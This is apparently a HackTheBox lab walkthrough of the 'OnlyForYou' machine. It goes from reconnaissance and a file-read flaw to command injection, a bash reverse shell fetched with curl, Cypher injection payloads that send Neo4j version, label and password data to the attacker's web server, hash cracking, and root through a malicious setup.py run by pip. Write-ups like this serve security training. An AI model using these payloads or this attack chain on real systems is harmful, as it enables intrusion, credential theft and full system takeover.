index-logo

Only4You - HTB

walkthrough by elswix

Machine: OnlyForYou
Difficulty: Medium
Platform: HackTheBox
Release: Released on 04/22/2023


Recon:


We begin with the reconnaissance phase, remembering that this is the most crucial part, as all the information we can gather initially may be useful later during the exploitation phase.

Port Scan

Machines typically offer services, and these services are exposed through ports. Therefore, we need to determine which of these ports are open in order to start exploiting vulnerable services.

In this case, we use the nmap tool to scan all ports (65535)

elswix@parrot$ nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.210 -oN portScan

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 12:33 EDT
Initiating SYN Stealth Scan at 12:33
Scanning 10.10.11.210 [65535 ports]
Discovered open port 80/tcp on 10.10.11.210
Discovered open port 22/tcp on 10.10.11.210
Completed SYN Stealth Scan at 12:33, 15.49s elapsed (65535 total ports)
Nmap scan report for 10.10.11.210
Host is up (0.15s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.65 seconds
           Raw packets sent: 75845 (3.337MB) | Rcvd: 75825 (3.033MB)
We can see that the scan has found two open ports (80 and 22). Now, we will proceed to perform a scan of the technologies and versions running on these ports.

Once again, we will use the nmap tool:

elswix@parrot$ nmap -sC -sV -p80,22 10.10.11.210 -oN fullScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 12:35 EDT
Nmap scan report for 10.10.11.210 (10.10.11.210)
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
|   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_  256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.49 seconds


Web Reconnaissance:


After the scan, we can see that when accessing the website using the IP address, it redirects us to a domain: only4you.htb.

The issue is that during the redirection, our request does not know what that domain is. To avoid this problem, we will add the domain to the /etc/hosts file.

# Host addresses
127.0.0.1  localhost
127.0.1.1  Parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters

10.10.11.210 only4you.htb
With this done, we will begin recognizing the technologies used by the website from the console, using the tool WhatWeb:

elswix@parrot$ whatweb http://only4you.htb
We don't see anything particularly interesting at the moment; we can only highlight an email address.

On the web front, we have the following:



Wappalyzer shows us the following:



There isn't anything interesting here either.

If we browse through the website a bit, there's a "Frequently Asked Questions" section in which there's one in particular that provides us with relevant information:



The question "Are there some products available to check?" contains a hyperlink that leads us to a URL of a subdomain of the machine.

beta.only4you.htb

We add this domain to the /etc/hosts file.

# Host addresses
127.0.0.1  localhost
127.0.1.1  Parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters

10.10.11.210 only4you.htb beta.only4you.htb
At first glance on the website, there's a button that allows us to download source code, which I believe belongs to the source code of the page on this subdomain.



Once the file is downloaded, we can see that it's a zip file which contains the following files:

beta
beta/app.py
beta/static
beta/static/img
beta/static/img/image-resize.svg
beta/templates
beta/templates/400.html
beta/templates/500.html
beta/templates/convert.html
beta/templates/index.html
beta/templates/405.html
beta/templates/list.html
beta/templates/resize.html
beta/templates/404.html
beta/uploads
beta/uploads/resize
beta/uploads/list
beta/uploads/convert
beta/tool.py
It appears that we were correct, and it indeed belongs to the source code of the beta.only4you.htb page.

After analyzing the source code a bit, we can see that in the main.py file, there's a function that allows us to read files from the victim machine, indicating that it is vulnerable to Local File Inclusion (LFI).

Here's the download function from main.py:

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)
The request we need to make should be a POST request, specifying a parameter called image:



After conducting some tests, we can see that simply by providing the absolute path of the file we want to read, we can access it.

After a bit of research on the machine, I tried reading certain nginx configuration files to see what I could find. In this case, the file that revealed relevant information was:

/etc/nginx/sites-available/default
In this case, it reveals certain information that we can use to our advantage:



The pertinent information is the path where the main page is located, the one we had seen by accessing it with just the domain without specifying the subdomain:

only4you.htb
The path we found is as follows:

/var/www/only4you.htb
You might think about conducting fuzzing on this directory, but in my case, it wasn't necessary. I simply tried files that would likely exist in the directory, such as: app.py

/var/www/only4you.htb/app.py


This file caught my attention because it only contained information about the contact section of the main page, which is a form for supposedly sending a message:



In this case, to analyze the code more thoroughly, I made a curl request to access the file:

elswix@parrot$ curl -s http://beta.only4you.htb/download -d "image=/var/www/only4you.htb/app.py"
Looking at the code, we can see that it calls a function named sendmessage from a supposed library called form.

The first thing that occurred to me was to check if that form library is located within the same directory:

elswix@parrot$ curl -s http://beta.only4you.htb/download -d "image=/var/www/only4you.htb/form.py"
We can see that the output of the command returns the file form.py, the supposed library that contains the sendmessage function.

We can also see that when the issecure function is defined, it expects two parameters: email, which I assume is the email entered in the form on the main page, and ip, which probably represents the client making the request:

def issecure(email, ip)
This parameter is processed using regular expressions to verify that it is legitimate and does not contain any malicious payloads.

if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
    return 0
Subsequently, there is processing of this parameter that extracts only the domain, or more precisely, the information that comes after the "@" symbol.

domain = email.split("@", 1)[1]
Finally, with the "domain" variable, which stores the domain entered after the "@" symbol, it executes the "dig" command to make a DNS request.

result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
Everything seems fine, but the problem begins with the regular expression that checks the "email" parameter, as it does not verify the presence of ; in the email, giving us the possibility to inject commands.

We should remember that to inject commands, we will need to place the ; after the "@" symbol, as otherwise, it won't work because the variable used to execute the "dig" command stores only what comes after the "@" symbol in the "email" parameter.

The idea is as follows: we will intercept the request from the main page's form using Burp Suite and alter the content of the "email" parameter. We will attempt to send an ICMP trace (ping) from the victim machine to our machine:

Let's not forget to URL-encode our payload:

ping -c 1 10.10.16.4


First, we put ourselves in listening mode from our machine using tcpdump:

elswix@parrot$ tcpdump -i tun0 icmp -n
And we send the request:



As we can see, we have received the trace, and we have achieved remote command execution (RCE).


Shell as www-data


With that done, now we will attempt to send a TCP Reverse Shell to our attacker machine. To do this, we will create an index.html file in which we will store a malicious payload written in bash that sends us a Reverse Shell.

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.4/443 0>&1
The command to execute on the victim machine is as follows:

curl 10.10.16.4 | bash
The idea is to create an HTTP server in Python that serves the index.html file, and when the victim machine requests that file, it interprets it with bash and sends the shell to a port where we will be listening with nc (netcat).

elswix@parrot$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
elswix@parrot$ nc -lvnp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Once the listening servers are ready, we will send the request:



Finally, we obtain a shell:

elswix@parrot$ nc -lvnp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.210.
Ncat: Connection from 10.10.11.210:46674.
bash: cannot set terminal process group (1008): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$
Before we start with privilege escalation, I like to work comfortably to avoid issues. Therefore, let's set up a TTY to be able to use keyboard shortcuts like CTRL+C, CTRL+L, etc.

www-data@only4you$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
After running this, we'll press CTRL+Z and execute the following command on our machine along with the reset xterm:

elswix@parrot$ stty raw -echo;fg
[1]  + continued  nc -lvnp 443
                    reset xterm
Before we finish, let's export the TERM to enable the use of CTRL+L:

www-data@only4you$ export TERM=xterm
Finally, we now have a more interactive tty to work more comfortably.


Privilege Escalation to john:


After a bit of enumeration, we can see that port 8001 is open, and I believe it's a web service.

www-data@only4you$ ss -nltp
State   Recv-Q  Send-Q        Local Address:Port    Peer Address:Port  Process                                                   
LISTEN  0       4096          127.0.0.53%lo:53           0.0.0.0:*                                                               
LISTEN  0       128                 0.0.0.0:22           0.0.0.0:*                                                               
LISTEN  0       4096              127.0.0.1:3000         0.0.0.0:*                                                               
LISTEN  0       2048              127.0.0.1:8001         0.0.0.0:*                                                               
LISTEN  0       70                127.0.0.1:33060        0.0.0.0:*                                                               
LISTEN  0       151               127.0.0.1:3306         0.0.0.0:*                                                               
LISTEN  0       511                 0.0.0.0:80           0.0.0.0:*      users:(("nginx",pid=1025,fd=6),("nginx",pid=1022,fd=6))  
LISTEN  0       128                    [::]:22              [::]:*                                                               
LISTEN  0       4096     [::ffff:127.0.0.1]:7687               *:*                                                               
LISTEN  0       50       [::ffff:127.0.0.1]:7474               *:*
If we try to make a GET request using the curl command, we can confirm that we are correct and it is indeed a web service:

www-data@only4you$ curl -s http://127.0.0.1:8001/
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
In the command output, we can see that it redirects to a supposed /login. Before continuing to analyze this website, we can simplify the process by establishing a tunnel with chisel using Remote Port Forwarding for port 8001, allowing us to access the website from our attacker machine.

Downloading chisel is straightforward; you can go to the Releases section and download a version that matches your system and the victim machine's system. Since the victim machine is 64-bit architecture, and mine is too, I can use the same binary for both machines.

On our machine, we create the chisel server:

elswix@parrot$ ./chisel server --reverse -p 4646
Now, on the victim machine, we connect as a client:

www-data@only4you$ ./chisel client 10.10.16.4:4646 R:8001:127.0.0.1:8001
Now, if we try to access the web service through our browser, we can enter it successfully, and it redirects us to the /login resource:



If we try default credentials, the most commonly used ones could be:

username: user
password: user

username: admin
password: admin

username: guest
password: guest
Among many others, and in our case, admin - admin worked.



We managed to access the web with the correct credentials.

If we take a look at /dashboard, we can see a section called "Tasks" that appears to contain tasks that the admin user must complete or certain reminders for the admin user.



Here they mention something about Neo4j, so I believe they might be using this type of database for certain resources or services.

In the /employees resource, we can see that we can enter certain information. It seems to be a search section that allows us to filter by users or, as the name suggests, employees.



If we enter a character, for example, "a," we can see that the content of the page changes, and it returns some information:



At first glance, it appears that there is a database query running in the background that filters the information based on what we provide in the search box.

This could be critical if implemented improperly, as entering a malicious payload could lead to a SQL Injection vulnerability.


Cypher Injection:


To test this, we will enter a single quote in the search box:



We can see that an error has occurred as indicated by the status code 500.

I would like to assume that the search box uses a Neo4j database, so if we search the internet for ways to exploit Neo4j, we come across Cypher Injection.

In my case, I will use payloads from HackTricks to perform the exploitation.

One of the first payloads I'm going to try is the one to extract the version of the Neo4j server:



We need to adapt the payload slightly for our case by changing the initial URL to ours:

OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
For convenience, I will use Burp Suite to send the requests. We will also URL encode all payloads (don't forget the single quotation mark at the beginning):



After sending the payload, if we check our web server, we can see the request with the version of the Neo4j server:



If we continue to try the payloads offered by HackTricks, we will notice that none of the others work. However, we can attempt further enumeration by modifying the payload that works.

In this case, we will enumerate the labels the server has, modifying the previous payload since the one offered by HackTricks doesn't work:

OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.16.4:8000/?label=' + label as l RETURN 0 as _0 //
We send the request and receive the following on our server:



We can see that we receive the names of the labels, and one of them is "user," which is interesting because it might contain stored credentials.


Shell as john:


By reading further in HackTricks, we can see that we can obtain the properties of a key:



We will try to modify the payload slightly, adapting our values (don't forget the single quotation mark at the beginning):

OR 1=1 WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://10.10.16.4:8000/?' + p +'='+toString(u[p]) as l RETURN 0 as _0 //
Then we will send the request with our listening server, and if all goes well, we will receive the following:



It seems to have worked, and we obtained hashed usernames and passwords. The most interesting one here is John's password. Be careful because the hash appears first, and then the username, which can be confusing and lead you to copy the wrong hash.

elswix@parrot$ cat hash 
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
We will crack the hash using brute force with the John the Ripper tool, specifying the correct format:



We can see that the John the Ripper tool has successfully cracked the hash, and we obtained the user's password.

john:ThisIs4You
Now, what we will do is connect via SSH with the user "john" and his password:

elswix@parrot$ ssh john@10.10.11.210 
john@10.10.11.210's password: ThisIs4You
At this point, we can see the first flag of the machine:

john@only4you$ cat user.txt
3eb188e464b****************4ed79
If we list the privileges that the user "john" has at the sudo level, we can see the following:

john@only4you$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
The user "john" can execute the command as root without specifying his password:

/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
It seems that it's trying to download a Python package from a remote server. To abuse this, we need to see what's on port 3000 of the victim machine. I accomplished this by using chisel once again.



It seems that the web service uses Gogs, which is a service that provides the ability to host Git repositories.

We can log in using the credentials we already have for the user "john."

We can see that there is a "test" repository:



Reading some documentation on how to exploit pip, I found that if the Python package format is .tar.gz, when you run the pip download command, it will execute a setup.py file found within the package being downloaded.

The idea here is to upload a malicious setup.py file and then copy the URL of the Git repository in .tar.gz format.

First, let's create the malicious setup.py file:

#!/usr/bin/python3 

import os
os.system("chmod u+s /bin/bash")
What we will do is, when we run the pip download on this repository, it will interpret the setup.py file, which will execute the command chmod u+s /bin/bash to assign Set-UID privileges to the bash.

First, let's make sure the test repository is not private:



We upload the file setup.py:





We have to copy tar.gz :



And finally we execute the command that we can run as root with sudo:

john@only4you$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/archive/master.tar.gz
We look at the privileges of the /bin/bash:

john@only4you$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
We become root by running the bash -p command, taking advantage of the /bin/bash now being Set-UID

john@only4you$ bash -p
bash-5.0# whoami
root
Finally, we get the last flag:

bash-5.0# cat /root/root.txt
8c60f13f*************e56f3664496